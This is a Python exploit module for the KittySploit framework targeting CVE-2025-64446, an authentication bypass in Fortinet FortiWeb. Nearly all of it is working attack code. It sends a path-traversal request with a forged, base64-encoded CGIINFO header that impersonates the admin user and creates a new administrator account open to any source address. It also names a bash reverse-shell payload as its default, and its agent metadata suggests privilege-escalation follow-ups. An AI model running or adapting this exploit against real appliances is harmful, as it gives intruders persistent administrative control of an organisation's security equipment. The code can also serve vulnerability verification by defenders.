Fortinet FortiWeb CVE-2025-64446 Authentication Bypass

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
import json
import base64
import random
import string


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Fortinet FortiWeb CVE-2025-64446 Authentication Bypass",
        "description": "FortiWeb v8.0.0 - Authentication bypass via CGI parsing vulnerability allowing unauthorized admin access (CVE-2025-64446)",
        "author": "KittySploit Team",
        "cve": "CVE-2025-64446",
        "platform": Platform.UNIX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "CVE-2025-64446",
            "https://nvd.nist.gov/vuln/detail/CVE-2025-64446",
            "https://www.fortinet.com/",
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }

    path = OptString("/", "Base URI path (prefix before /api/v2.0)", required=False)

    username = OptString("", "Username for new admin user (random if empty)", required=False)
    password = OptString("", "Password for new admin user (random if empty)", required=False)
    access_profile = OptString("prof_admin", "Access profile for new user", required=False)

    def _generate_cgiinfo_header(self):
        cgi_data = {
            "username": "admin",
            "profname": "prof_admin",
            "vdom": "root",
            "loginname": "admin",
        }
        json_str = json.dumps(cgi_data, separators=(", ", ": "))
        return base64.b64encode(json_str.encode()).decode()

    def _generate_user_data(self):
        username = self.username or "".join(random.choices(string.ascii_letters + string.digits, k=8))
        password = self.password or "".join(random.choices(string.ascii_letters + string.digits, k=12))

        user_data = {
            "data": {
                "q_type": 1,
                "name": username,
                "access-profile": self.access_profile,
                "access-profile_val": "0",
                "trusthostv4": "0.0.0.0/0",
                "trusthostv6": "::/0",
                "last-name": "",
                "first-name": "",
                "email-address": "",
                "phone-number": "",
                "mobile-number": "",
                "hidden": 0,
                "comments": "",
                "sz_dashboard": -1,
                "type": "local-user",
                "type_val": "0",
                "admin-usergrp_val": "0",
                "wildcard_val": "0",
                "accprofile-override_val": "0",
                "sshkey": "",
                "passwd-set-time": 0,
                "history-password-pos": 0,
                "history-password0": "",
                "history-password1": "",
                "history-password2": "",
                "history-password3": "",
                "history-password4": "",
                "history-password5": "",
                "history-password6": "",
                "history-password7": "",
                "history-password8": "",
                "history-password9": "",
                "force-password-change": "disable",
                "force-password-change_val": "0",
                "password": password,
            }
        }

        return user_data, username, password

    def check(self):
        try:
            print_info(f"Checking {self.target}:{self.port} for CVE-2025-64446...")
            exploit_path = (
                f"{self.path.rstrip('/')}/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"
            )
            cgiinfo = self._generate_cgiinfo_header()
            headers = {
                "CGIINFO": cgiinfo,
                "Accept-Encoding": "gzip, deflate, br",
                "Content-Type": "application/json",
                "Connection": "keep-alive",
            }
            test_data = {"data": {"q_type": 1, "name": "test_check"}}
            response = self.http_request(
                method="POST",
                path=exploit_path,
                headers=headers,
                data=json.dumps(test_data),
                timeout=10,
            )
            if response and response.status_code == 200:
                try:
                    response_json = response.json()
                    if "results" in response_json or "status" in response_json:
                        return {
                            "vulnerable": True,
                            "reason": "Endpoint is accessible and returns expected structure",
                            "confidence": "high",
                        }
                except (json.JSONDecodeError, TypeError):
                    pass
                return {
                    "vulnerable": True,
                    "reason": "Endpoint is accessible (HTTP 200)",
                    "confidence": "medium",
                }
            return {
                "vulnerable": False,
                "reason": f'Endpoint returned status {response.status_code if response else "no response"}',
                "confidence": "medium",
            }
        except Exception as e:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {e}",
                "confidence": "low",
            }

    def run(self):
        exploit_path = f"{self.path.rstrip('/')}/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"

        print_info(f"Target: {self.target}:{self.port}")
        print_info(f"Exploit path: {exploit_path}")
        print_warning("CVE-2025-64446: This vulnerability allows unauthorized admin access")

        cgiinfo = self._generate_cgiinfo_header()
        print_info(f"CGIINFO header: {cgiinfo[:50]}...")

        user_data, username, password = self._generate_user_data()
        print_info(f"Creating admin user: {username}")
        print_info(f"Password: {password}")
        print_info(f"Access profile: {self.access_profile}")

        headers = {
            "CGIINFO": cgiinfo,
            "Accept-Encoding": "gzip, deflate, br",
            "Content-Type": "application/json",
            "Connection": "keep-alive",
        }

        print_info("Sending exploit request...")

        try:
            response = self.http_request(
                method="POST",
                path=exploit_path,
                headers=headers,
                data=json.dumps(user_data),
                timeout=30,
            )

            if not response:
                print_error("No response received from server")
                return False

            print_info(f"Response status: {response.status_code}")

            if response.status_code == 200:
                try:
                    response_json = response.json()

                    if "results" in response_json:
                        results = response_json["results"]
                        if "name" in results and results["name"] == username:
                            print_success("Exploit executed successfully!")
                            print_success(f"Admin user '{username}' created with password '{password}'")
                            print_info(f"Access profile: {results.get('access-profile', 'N/A')}")
                            print_info(f"User type: {results.get('type', 'N/A')}")
                            print_info("Full response:")
                            print_info(json.dumps(response_json, indent=2))
                            return True
                        print_warning("Request succeeded but user creation may have failed")
                        print_info("Response:")
                        print_info(json.dumps(response_json, indent=2))
                        return True
                    print_warning("Unexpected response structure")
                    print_info("Response:")
                    print_info(response.text[:500])
                    return True

                except json.JSONDecodeError:
                    print_warning("Response is not valid JSON")
                    print_info(f"Response text: {response.text[:500]}")
                    if response.status_code == 200:
                        print_success("HTTP 200 received - exploit may have succeeded")
                        return True
                    return False
            print_error(f"Exploit failed: HTTP {response.status_code}")
            print_info(f"Response: {response.text[:500]}")
            return False

        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False